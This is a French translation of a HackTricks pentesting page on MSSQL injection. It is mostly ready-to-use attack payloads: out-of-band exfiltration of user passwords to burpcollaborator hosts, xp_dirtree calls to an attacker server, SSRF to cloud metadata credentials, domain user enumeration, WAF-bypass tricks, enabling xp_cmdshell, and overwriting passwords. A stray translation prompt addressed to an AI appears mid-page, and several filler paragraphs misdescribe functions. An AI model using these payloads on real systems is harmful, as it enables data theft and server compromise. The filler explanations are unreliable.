20 KiB
Injection MSSQL
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? Ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Énumération de l'Active Directory
Il est possible de dénombrer les utilisateurs de domaine via une injection SQL dans un serveur MSSQL en utilisant les fonctions MSSQL suivantes :
SELECT DEFAULT_DOMAIN()
: Obtenez le nom de domaine actuel.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: Si vous connaissez le nom du domaine (DOMAIN dans cet exemple), cette fonction renverra le SID de l'utilisateur Administrator au format hexadécimal. Cela ressemblera à0x01050000000[...]0000f401
, notez comment les 4 derniers octets sont le nombre 500 au format big endian, qui est l'ID commun de l'utilisateur administrateur.
Cette fonction vous permettra de connaître l'ID du domaine (tous les octets sauf les 4 derniers).SUSER_SNAME(0x01050000000[...]0000e803)
: Cette fonction renverra le nom d'utilisateur de l'ID indiqué (le cas échéant), dans ce cas 0000e803 en big endian == 1000 (généralement c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez effectuer une attaque par force brute sur les ID d'utilisateur de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple, en utilisant une fonction comme celle-ci :
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
Vecteurs basés sur les erreurs alternatifs
Les injections SQL basées sur les erreurs ressemblent généralement à des constructions telles que +AND+1=@@version--
et des variantes basées sur l'opérateur «OR». Les requêtes contenant de telles expressions sont généralement bloquées par les pare-feu applicatifs Web (WAF). Pour les contourner, concaténez une chaîne à l'aide du caractère %2b avec le résultat d'appels de fonctions spécifiques qui déclenchent une erreur de conversion de type de données sur les données recherchées.
Voici quelques exemples de telles fonctions :
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
Exemple d'utilisation de la fonction USER_NAME()
:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
fn_xe_file_target_read_file
La fonction fn_xe_file_target_read_file
est utilisée pour lire le contenu d'un fichier cible dans une base de données Microsoft SQL Server. Cette fonction peut être exploitée pour effectuer une injection SQL dans une application web vulnérable.
L'injection SQL est une technique d'attaque courante où un attaquant insère du code SQL malveillant dans une requête SQL pour manipuler la base de données ou obtenir des informations sensibles. Dans le cas de fn_xe_file_target_read_file
, l'injection SQL peut être utilisée pour lire des fichiers arbitraires sur le serveur de base de données.
Pour exploiter cette vulnérabilité, l'attaquant doit trouver une application web qui utilise la fonction fn_xe_file_target_read_file
sans validation ou échappement approprié des entrées utilisateur. L'attaquant peut ensuite utiliser des techniques d'injection SQL pour exécuter du code malveillant et lire des fichiers sur le serveur.
Il est important de noter que l'exploitation de cette vulnérabilité peut avoir des conséquences graves, notamment la divulgation d'informations sensibles ou la compromission du serveur de base de données. Il est donc essentiel de mettre en place des mesures de sécurité appropriées, telles que la validation et l'échappement des entrées utilisateur, pour prévenir les attaques par injection SQL.
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
Permissions: Nécessite l'autorisation VIEW SERVER STATE
sur le serveur.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
La fonction fn_get_audit_file
est une fonction spécifique à Microsoft SQL Server qui permet de récupérer un fichier d'audit. Cette fonction peut être utilisée pour extraire des informations sensibles ou confidentielles à partir de la base de données. Elle peut être exploitée lors d'une attaque par injection SQL pour obtenir des données non autorisées. Il est important de sécuriser cette fonction en appliquant des mesures de protection appropriées pour éviter toute exploitation malveillante.
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
Permissions: Nécessite l'autorisation CONTROL SERVER
.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettabe
La fonction fn_trace_gettabe
est une fonction intégrée de Microsoft SQL Server qui permet de récupérer les informations de suivi d'une table de trace. Cette fonction est souvent utilisée dans le contexte de l'injection SQL pour obtenir des informations sensibles à partir de la base de données cible.
L'injection SQL est une technique couramment utilisée par les pirates informatiques pour exploiter les vulnérabilités des applications web qui ne filtrent pas correctement les entrées utilisateur. En exploitant une injection SQL, un attaquant peut exécuter des commandes SQL non autorisées et accéder à des données sensibles, voire prendre le contrôle complet de la base de données.
L'utilisation de la fonction fn_trace_gettabe
dans le cadre d'une injection SQL peut permettre à un attaquant de récupérer des informations telles que les noms des tables, les colonnes, les données des utilisateurs et d'autres informations sensibles stockées dans la base de données cible.
Il est important de noter que l'injection SQL est une pratique illégale et éthiquement répréhensible. Les informations fournies ici sont uniquement à des fins éducatives et doivent être utilisées de manière responsable et légale, par exemple dans le cadre d'un test de pénétration autorisé.
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
Permissions: Nécessite l'autorisation CONTROL SERVER
.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
La méthode la plus courante pour effectuer un appel réseau que vous rencontrerez avec MSSQL est l'utilisation de la procédure stockée xp_dirtree
, qui est curieusement non documentée par Microsoft, ce qui a conduit à sa documentation par d'autres personnes sur Internet. Cette méthode a été utilisée dans plusieurs exemples de publications sur l'exfiltration de données hors bande (Out of Band Data exfiltration) sur Internet.
Essentiellement,
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
Tout comme LOAD_FILE
de MySQL, vous pouvez utiliser xp_dirtree
pour effectuer une requête réseau vers uniquement le port TCP 445. Vous ne pouvez pas contrôler le numéro de port, mais vous pouvez lire des informations à partir de partages réseau.
PS: Cela ne fonctionne pas sur Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
exécuté sur un Windows Server 2016 Datacenter
dans la configuration par défaut.
Il existe d'autres procédures stockées **** comme master..xp_fileexist
ou xp_subdirs
qui peuvent être utilisées pour des résultats similaires.
xp_cmdshell
Évidemment, vous pouvez également utiliser xp_cmdshell
pour exécuter quelque chose qui déclenche une SSRF. Pour plus d'informations, lisez la section pertinente sur la page :
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
Fonction définie par l'utilisateur MSSQL - SQLHttp
Il est assez simple d'écrire une UDF CLR (User Defined Function Common Language Runtime - code écrit avec l'un des langages .NET et compilé en tant que DLL) et de la charger dans MSSQL pour des fonctions personnalisées. Cependant, cela nécessite un accès dbo
et peut ne pas fonctionner à moins que la connexion de l'application Web à la base de données ne se fasse en tant que sa
ou en tant qu'administrateur.
Ce dépôt Github contient le projet Visual Studio et les instructions d'installation pour charger le binaire dans MSSQL en tant qu'assembly CLR, puis invoquer des requêtes GET HTTP depuis MSSQL.
Le code http.cs
utilise la classe WebClient
pour effectuer une requête GET et récupérer le contenu tel que spécifié.
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
Dans les instructions d'installation, exécutez ce qui suit avant la requête CREATE ASSEMBLY
pour ajouter le hachage SHA512 de l'assembly à la liste des assemblies de confiance sur le serveur (vous pouvez voir la liste en utilisant select * from sys.trusted_assemblies;
)
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
Une fois que l'assemblage est ajouté et que la fonction est créée, nous pouvons exécuter ce qui suit pour effectuer nos requêtes HTTP.
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
Exploitation rapide : Récupérer une table entière en une seule requête
Il existe deux façons simples de récupérer l'intégralité du contenu d'une table en une seule requête : l'utilisation de la clause FOR XML ou de la clause FOR JSON. La clause FOR XML nécessite un mode spécifié tel que « raw », donc en termes de brièveté, FOR JSON est plus performant.
La requête pour récupérer le schéma, les tables et les colonnes de la base de données actuelle :
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
Les vecteurs basés sur les erreurs nécessitent un alias ou un nom, car la sortie des expressions sans l'un ou l'autre ne peut pas être formatée en JSON.
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
Récupération de la requête actuelle
La requête SQL actuellement en cours d'exécution peut être récupérée à partir de l'accès sys.dm_exec_requests
et sys.dm_exec_sql_text
:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
Permissions: Si l'utilisateur dispose de l'autorisation VIEW SERVER STATE sur le serveur, il pourra voir toutes les sessions en cours sur l'instance de SQL Server ; sinon, il ne verra que la session actuelle.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Petits astuces pour contourner les WAF
Caractères d'espacement non standard : %C2%85 ou %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Notation scientifique (0e) et hexadécimale (0x) pour l'obfuscation de l'UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
Un point au lieu d'un espace entre FROM et le nom d'une colonne :
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N séparateur entre SELECT et une colonne jetable:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
Contournement du WAF avec des requêtes imbriquées non conventionnelles
Selon cet article de blog, il est possible d'imbriquer des requêtes dans MSSQL sans utiliser ";":
Ainsi, par exemple, plusieurs requêtes telles que:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
Le contenu suivant est extrait d'un livre sur les techniques de piratage. Le contenu suivant provient du fichier pentesting-web/sql-injection/mssql-injection.md. Traduisez le texte anglais pertinent en français et renvoyez la traduction en conservant exactement la même syntaxe markdown et html. Ne traduisez pas les éléments tels que le code, les noms de techniques de piratage, les mots de piratage, les noms de plateformes cloud/SaaS (comme Workspace, aws, gcp...), le mot "leak", pentesting et les balises markdown. N'ajoutez pas non plus d'éléments supplémentaires en dehors de la traduction et de la syntaxe markdown.
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Il pourrait donc être possible de contourner différents WAF qui ne tiennent pas compte de cette forme de requêtes imbriquées. Par exemple :
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Références
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.